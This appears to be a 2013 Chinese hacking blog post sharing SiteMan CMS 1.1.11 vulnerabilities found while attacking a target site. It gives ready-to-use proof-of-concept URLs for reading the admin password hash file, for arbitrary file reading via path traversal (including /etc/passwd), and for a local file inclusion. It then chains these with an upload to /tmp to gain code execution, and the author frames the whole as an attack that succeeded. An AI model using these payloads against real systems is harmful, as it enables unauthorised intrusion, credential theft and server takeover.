SiteMan Cms 漏洞&利用技巧分享

数据流 | 2013-01-05 21:13

昨天在搞目标时 发现有个分站使用了siteman cms 就下了套源码看了下

1.jpg

SITEMAN CMS 是一套国外广泛使用的程序 采用PHP编写 ,TXT做数据库

TXT来做数据库的安全性肯定高不鸟哪里去,可是国外就是很多人使用.

测试环境 :Linux+apache+php+mysql siteman 1.1.11

SITEMAN CMS 远程密码HASH读取:

http://XXX.COM//data/members.txt

2.jpg

密码用MD5加密  

3.jpg

解密进入后台

http://xxx.com/admin.php

一般情况下后台能够上传任意文件的

http://xxx.com/admin.php?do=edfiles

4.jpg

这服务器做了目录限制 apache权限无法生成文件 管理方都是通过FTP操作文件的

在无奈之时发现了一个任意文件读取漏洞

http://XXX.com/admin.php?do=edtxt&file=../../../../../../../etc/passwd

5.jpg

6.jpg

鸡肋啊

再次无奈之时 发现代码有好玩的东西

Index.php

第4行左右

  if (isset($_GET["page"])) {

    if (substr($_GET["page"],0,1) != ".") {

      $page = $_GET["page"];

    }

    else {

      $page = "index";

    }

  }

  else {

    $page = "index";

  }

第40行左右

$content = "pages/" . $page . ".php";

第96行左右

  include_once($content);

不解释 你们都懂的

本地包含漏洞

这就好办了 既然网站的目所有录都没权限  TMP目录肯定有权限

7.jpg

利用../上传文件到任意目录

用任意文件读取漏洞看下是否上传成功

8.jpg

已经成功上传 然后就爆菊了

http://XXX.COM/index.php?do=default&page=/../../../../../../../tmp/2

注意 包含时不用.php了

第40行左右

$content = "pages/" . $page . ".php";

9.jpg

总结:

1:Siteman 管理员密码hash读取漏洞

POC:http://XXX.COM/data/members.txt

2:任意文件读取漏洞

POC:http;//XXX.COM/admin.php?do=edtxt&file=../admin.php

3:本地包含漏洞

POC:http://XXX.COM/index.php?do=default&page=XXX

4:上传不到时请别忘记尝试TMP临时目录再利用包含

10.jpg